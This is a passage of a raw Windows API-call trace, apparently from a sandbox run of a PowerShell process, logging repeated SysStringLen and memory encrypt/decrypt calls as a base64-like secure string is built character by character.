(param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\xa096\xfdd2\xc2fd\xccf6\xc16c\x942d\x11b7\xda18") returned 0x28 [0137.287] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\xa096\xfdd2\xc2fd\xccf6\xc16c\x942d\x11b7\xda18") returned 0x28 [0137.287] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.287] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpSOPRYf+zsP๜惆") returned 0x28 [0137.287] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.288] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x8a22\x77f3\xb1a9\x7fcc\x3e68\xaa33\x60bb\x246b") returned 0x28 [0137.288] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x8a22\x77f3\xb1a9\x7fcc\x3e68\xaa33\x60bb\x246b") returned 0x28 [0137.288] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.288] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpSOPRYf+zsPH惆") returned 0x28 [0137.288] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.288] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x4e5\xb3b1\x94ae\x691\xfbe5\x5534\x84a3\x39db") returned 0x28 [0137.288] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x4e5\xb3b1\x94ae\x691\xfbe5\x5534\x84a3\x39db") returned 0x28 [0137.288] SystemFunction041 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.288] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpSOPRYf+zsPHT") returned 0x28 [0137.288] SystemFunction040 (in: Memory=0x8ec0174, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0174) returned 0x0 [0137.288] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x9989\xdabd\x3cf3\x864d\x383f\xa892\x3cde\x5d01") returned 0x28 [0137.288] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x9989\xdabd\x3cf3\x864d\x383f\xa892\x3cde\x5d01") returned 0x28 [0137.288] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x9989\xdabd\x3cf3\x864d\x383f\xa892\x3cde\x5d01") returned 0x28 [0137.288] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x9989\xdabd\x3cf3\x864d\x383f\xa892\x3cde\x5d01") returned 0x30 [0137.288] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0137.288] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpSOPRYf+zsPHT7侻蝋ﳿ밇礥淒") returned 0x30 [0137.288] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0137.289] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x9989\xdabd\x3cf3\x864d\x383f\xa892\x3cde\x5d01\xb8ec\x9173\x9e0b\xe4f\xdaa7\xd61a\x772b\x4df0") returned 0x30 [0137.289] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x9989\xdabd\x3cf3\x864d\x383f\xa892\x3cde\x5d01\xb8ec\x9173\x9e0b\xe4f\xdaa7\xd61a\x772b\x4df0") returned 0x30 [0137.289] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0137.289] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpSOPRYf+zsPHT7B侻蝋ﳿ밇礥淒") returned 0x30 [0137.289] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0137.289] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x9989\xdabd\x3cf3\x864d\x383f\xa892\x3cde\x5d01\x6bc6\xff30\xc7b\x4f0c\xbc01\xcd7f\xf7d\x3ec4") returned 0x30 [0137.289] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x9989\xdabd\x3cf3\x864d\x383f\xa892\x3cde\x5d01\x6bc6\xff30\xc7b\x4f0c\xbc01\xcd7f\xf7d\x3ec4") returned 0x30 [0137.289] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0137.289] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpSOPRYf+zsPHT7BM蝋ﳿ밇礥淒") returned 0x30 [0137.289] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0137.289] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x9989\xdabd\x3cf3\x864d\x383f\xa892\x3cde\x5d01\xae5e\x8082\xf94b\x7056\x275\xbc9e\x1a00\x52ae") returned 0x30 [0137.289] SysStringLen (param_1="\xbc94\x2a57\x1d6a\xa3f7\xffbe\xd006\xc5de\xc848\xa6\x937e\x7803\xac10\x85a7\x18a4\x5a10\x1ed1\xbb06\xc087\x9188\x1576\xe6b9\x3ab4\x10f2\xfcb7\xa262\x78fc\x5f8f\x600b\xb186\xf6c9\x4ba7\x5015\x9989\xdabd\x3cf3\x864d\x383f\xa892\x3cde\x5d01\xae5e\x8082\xf94b\x7056\x275\xbc9e\x1a00\x52ae") returned 0x30 [0137.289] SystemFunction041 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0137.289] SysStringLen (param_1="Bjy6jO2J2HS4lWk+/5RSkeJNHKQpSOPRYf+zsPHT7BM=ﳿ밇礥淒") returned 0x30 [0137.289] SystemFunction040 (in: Memory=0x8e314e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e314e4) returned 0x0 [0137.289] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.289] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd0, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.290] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.290] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0137.290] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.290] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xcf, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.290] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd1, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.290] SysStringLen (param_1="") returned 0x8 [0137.290] SysStringLen (param_1="Y") returned 0x8 [0137.290] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.290] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.290] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0137.290] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.291] SysStringLen (param_1="YW") returned 0x8 [0137.291] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.291] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.291] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0137.291] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.291] SysStringLen (param_1="YWM") returned 0x8 [0137.291] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.291] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.291] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0137.291] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.291] SysStringLen (param_1="YWM1") returned 0x8 [0137.291] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.291] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.291] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0137.291] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.291] SysStringLen (param_1="YWM1O") returned 0x8 [0137.291] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.292] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.292] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0137.292] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.292] SysStringLen (param_1="YWM1OT") returned 0x8 [0137.292] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.292] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.292] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0137.292] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.292] SysStringLen (param_1="YWM1OTE") returned 0x8 [0137.292] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.292] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.292] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0137.292] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.292] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0137.292] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.292] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.292] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.293] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0137.293] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0137.293] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.293] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0137.293] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.293] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.293] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0137.293] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.293] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0137.293] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.293] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.293] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0137.293] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.293] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0137.293] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.293] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.293] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0137.293] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.294] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0137.294] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.294] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.294] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0137.294] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.294] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0137.294] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.294] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.294] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0137.294] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.294] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0137.294] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.294] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.294] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0137.294] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.294] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0137.294] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.295] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.295] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0137.295] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.295] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0137.295] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0137.295] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.295] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.295] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0137.295] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0137.295] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.295] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0137.295] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.296] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.296] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0137.296] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.296] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0137.296] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.297] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.297] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0137.297] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.297] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0137.297] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.297] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.297] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0137.297] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.297] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0137.297] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.297] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.297] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0137.297] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.297] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0137.297] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0137.297] SysStringLen 